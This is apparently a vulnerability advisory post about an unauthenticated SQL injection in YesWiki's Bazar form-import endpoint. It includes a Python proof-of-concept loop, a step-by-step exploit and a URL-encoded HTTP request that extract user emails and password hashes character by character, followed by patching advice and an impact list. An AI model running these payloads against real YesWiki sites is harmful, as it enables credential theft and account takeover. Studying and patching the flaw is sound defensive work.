YesWiki, Unauthenticated SQL Injection, CVE-Pending (Critical)

By /

Listen to this Post

The vulnerability exists in YesWiki’s Bazar form‑import feature. An unauthenticated attacker can inject SQL into an INSERT statement because the `bn_id_nature` parameter is concatenated unsafely into the SQL query. The sink is in `FormManager::create()` at line 258 of tools/bazar/services/FormManager.php. The code builds an INSERT into `yeswiki_nature` without quoting or parameterizing the `bn_id_nature` value. An attacker sends a crafted HTTP POST request to `/?BazaR&vue=formulaire` with the parameter imported-form[...]. The injected value is an arithmetic expression: 7330000 + ASCII(SUBSTRING((SELECT HEX(VERSION())),1,1)). MySQL evaluates the expression before insertion, so the inserted row gets a numeric ID derived from the first character of the hex‑encoded database version. The attacker then calls `/?api/forms` to retrieve that ID, subtracts 7330000 to recover the ASCII code, and converts it back to a character. This process repeats for each character, allowing full database extraction. The attack works because the `bn_id_nature` column is numeric, but the concatenation allows any SQL expression. No authentication or special privileges are required. The vulnerability affects YesWiki versions 4.6.1, 4.6.2, and the current doryphore‑dev branch (commit 1f485c04). The PoC provided in the demonstrates dumping usernames, emails, and password hashes from the `yeswiki_users` table.
Platform: YesWiki
Version: 4.6.1,4.6.2,dev
Vulnerability: Unauthenticated SQL injection
Severity: Critical
date: 2026-05-22

Prediction: Estimated patch 2026-06-15

What Undercode Say:

Analytics – Bash commands and codes:

Clone vulnerable version
git clone https://github.com/YesWiki/yeswiki.git
cd yeswiki
git checkout 1f485c049db030b94c047ec219e63534ac81142e
Build and run vulnerable instance with Docker
cd docker
docker compose build
docker compose up -d
After installation at https://localhost:8085, run PoC
python3 yeswiki_sqli_poc.py

PoC script snippet (character extraction):

import requests
url = "https://localhost:8085/?BazaR&vue=formulaire"
for pos in range(1, 33):
payload = f"7330000+ASCII(SUBSTRING((SELECT HEX(password) FROM yeswiki_users LIMIT 1),{pos},1))"
data = {f"imported-form[{payload}]": '{"bn_label_nature":"poc"}'}
r = requests.post(url, data=data, verify=False)
retrieve ID from /?api/forms and subtract 7330000

Exploit:

  1. Send POST to `/?BazaR&vue=formulaire` with `imported-form[7330000+ASCII(SUBSTRING((SELECT HEX(VERSION())),1,1))]` set to a valid JSON nature.
  2. The unsanitized `bn_id_nature` value becomes the SQL expression.
  3. MySQL computes the expression and inserts the resulting integer as the nature ID.
  4. Read the inserted ID via `GET /?api/forms` (unauthenticated).
  5. Subtract 7330000 → ASCII code → convert to character.
  6. Repeat for each character position to reconstruct hex‑encoded data, then decode.

Example HTTP request (from Burp):

POST /?BazaR&vue=formulaire HTTP/1.1
Host: localhost:8085
Content-Type: application/x-www-form-urlencoded
imported-form%5B7791000%2BASCII%28SUBSTRING%28%28SELECT%2F%2A%2A%2FHEX%28CONCAT%28email%2C0x3a%2Cpassword%29%29%2F%2A%2A%2FFROM%2F%2A%2A%2Fyeswiki_users%2F%2A%2A%2FLIMIT%2F%2A%2A%2F1%29%2C1%2C1%29%29%5D=%7B%22bn_label_nature%22%3A+%22poc%22%7D

Protection from this CVE:

  • Upgrade to a patched version once available (check official YesWiki repository).
  • Apply input validation: reject any `bn_id_nature` containing non‑numeric characters or SQL keywords.
  • Use parameterized queries / prepared statements in `FormManager::create()` instead of string concatenation.
  • Temporarily disable the Bazar form‑import feature if unneeded (remove the `tools/bazar` directory or block `/BazaR&vue=formulaire` endpoint).
  • Implement Web Application Firewall (WAF) rules that block arithmetic expressions and SUBSTRING/ASCII keywords in POST parameters.

Impact:

  • Full database compromise: attacker reads all tables, including `yeswiki_users` with password hashes.
  • Credential theft: cracked passwords lead to account takeover of admin and users.
  • Data leakage: emails, private wiki content, and configuration secrets exposed.
  • Potential privilege escalation if admin session tokens or sensitive data are stored in the database.
  • Complete loss of confidentiality; integrity and availability may also be affected via further SQL injection (e.g., DELETE or UPDATE).

🎯Let’s Practice Exploiting & Learn Patching For Free:

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Previous

ImageMagick, Race Condition, CVE-2022-28463 (Moderate)

Scroll to Top